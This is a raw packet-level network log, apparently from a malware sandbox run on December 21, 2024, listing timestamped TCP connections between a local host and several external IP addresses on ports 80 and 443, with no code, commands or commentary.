                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.025990963 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.026035070 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.026036978 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.026072979 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.026969910 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.027048111 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.027091026 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.027849913 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.027904987 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.028393030 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.028479099 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.028971910 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.029014111 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.029061079 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.029107094 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.029973030 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.030024052 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.031029940 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.031047106 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.031064034 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.031094074 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.031125069 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.031761885 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.031805038 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.031968117 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.032002926 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.032521963 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.032586098 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.032766104 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.032807112 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.033457994 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.033499002 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.033677101 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.033713102 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.034496069 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.034513950 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.034555912 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.035356998 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.035410881 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.035543919 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.035583973 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.036384106 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.036401987 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.036441088 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.036465883 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.037275076 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.037353992 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.037400007 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.038188934 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.038235903 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.038297892 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.038341045 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.039258957 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.039277077 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.039303064 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.039330959 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.040098906 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.040152073 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.040579081 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.040620089 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.041026115 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.041060925 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.041127920 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.041167021 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.042016983 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.042418957 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.043021917 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.043037891 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.043076992 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.043077946 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.043117046 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.043900013 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.043942928 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.043962002 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.044004917 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.044891119 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.044981956 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.045098066 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.045192003 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.045766115 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.045809031 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.045928001 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.045968056 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.046792984 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:26.046839952 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:28.283910990 CET4978680192.168.2.4185.215.113.43
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:28.284121990 CET4980480192.168.2.4185.215.113.43
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:28.403717995 CET8049804185.215.113.43192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:28.403781891 CET4980480192.168.2.4185.215.113.43
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:28.403924942 CET8049786185.215.113.43192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:28.403930902 CET4980480192.168.2.4185.215.113.43
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:28.403985023 CET4978680192.168.2.4185.215.113.43
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:28.413414955 CET49805443192.168.2.4104.21.67.146
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:28.413499117 CET44349805104.21.67.146192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:28.413635969 CET49805443192.168.2.4104.21.67.146
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:28.416543961 CET49805443192.168.2.4104.21.67.146
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:28.416582108 CET44349805104.21.67.146192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:28.523848057 CET8049804185.215.113.43192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:29.645842075 CET44349805104.21.67.146192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:29.645956039 CET49805443192.168.2.4104.21.67.146
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:29.647442102 CET49805443192.168.2.4104.21.67.146
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:29.647469997 CET44349805104.21.67.146192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:29.648000002 CET44349805104.21.67.146192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:29.689356089 CET49805443192.168.2.4104.21.67.146
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:29.692112923 CET49805443192.168.2.4104.21.67.146
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:29.692112923 CET49805443192.168.2.4104.21.67.146
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:29.692364931 CET44349805104.21.67.146192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:29.753772974 CET8049804185.215.113.43192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:29.753849030 CET4980480192.168.2.4185.215.113.43
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:29.754852057 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:29.755141973 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:29.874846935 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:29.875082970 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:29.875199080 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:29.875394106 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:29.875394106 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:29.995160103 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:30.070146084 CET44349805104.21.67.146192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:30.070259094 CET44349805104.21.67.146192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:30.070339918 CET44349805104.21.67.146192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:30.070424080 CET44349805104.21.67.146192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:30.070508003 CET49805443192.168.2.4104.21.67.146
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:30.070570946 CET44349805104.21.67.146192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:30.070616961 CET44349805104.21.67.146192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:30.070636988 CET49805443192.168.2.4104.21.67.146
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:30.070667982 CET49805443192.168.2.4104.21.67.146
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:30.072174072 CET49805443192.168.2.4104.21.67.146
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:30.072174072 CET49805443192.168.2.4104.21.67.146
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:30.072238922 CET44349805104.21.67.146192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:30.072268963 CET44349805104.21.67.146192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:30.111854076 CET49810443192.168.2.4104.21.67.146
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:30.111896038 CET44349810104.21.67.146192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:30.111991882 CET49810443192.168.2.4104.21.67.146
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:30.112236977 CET49810443192.168.2.4104.21.67.146
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:30.112251043 CET44349810104.21.67.146192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.201747894 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.201821089 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.201894045 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.201930046 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.201965094 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.202013016 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.202032089 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.202033043 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.202033043 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.202033043 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.202033043 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.202048063 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.202084064 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.202114105 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.202114105 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.202119112 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.202141047 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.202156067 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.202172995 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.202208996 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.322185993 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.322279930 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.322397947 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.322397947 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.326141119 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.326360941 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.331270933 CET44349810104.21.67.146192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.331338882 CET49810443192.168.2.4104.21.67.146
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.332571030 CET49810443192.168.2.4104.21.67.146
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.332580090 CET44349810104.21.67.146192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.333082914 CET44349810104.21.67.146192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.334269047 CET49810443192.168.2.4104.21.67.146
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.334269047 CET49810443192.168.2.4104.21.67.146
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.334496975 CET44349810104.21.67.146192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.393673897 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.393729925 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.393986940 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.397696972 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.397748947 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.397784948 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.397861004 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.406085014 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.406223059 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.409183025 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.409229994 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.409388065 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.409389019 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.417594910 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.417741060 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.417746067 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.417824030 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.426281929 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.426337004 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.426491022 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.426491976 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.434423923 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.434511900 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.434640884 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.434642076 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.443036079 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.443089008 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.443253040 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.443253040 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.451225996 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.451351881 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.451416969 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.451417923 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.459662914 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.459784031 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.459805012 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.459882021 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.467536926 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.467588902 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.467725992 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.467726946 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.475142956 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.475238085 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.475253105 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.475341082 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.513993979 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.514195919 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.585912943 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.585966110 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.586211920 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.587825060 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.587894917 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.588011980 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.588066101 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.592796087 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.592969894 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.593033075 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.593276024 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.597537994 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.598040104 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.598196983 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.602525949 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.602580070 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.602730989 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.602730989 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.607285023 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.607371092 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.607484102 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.611541986 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.611732006 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.611944914 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.616214037 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.616388083 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.616574049 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.620671988 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.620893002 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.621100903 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.625334978 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.625478983 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.625677109 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.629633904 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.630215883 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.630408049 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.634238958 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.634279966 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.634557009 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.638902903 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.639030933 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.639225006 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.643560886 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.643616915 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.643639088 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.647797108 CET4980980192.168.2.431.41.244.11
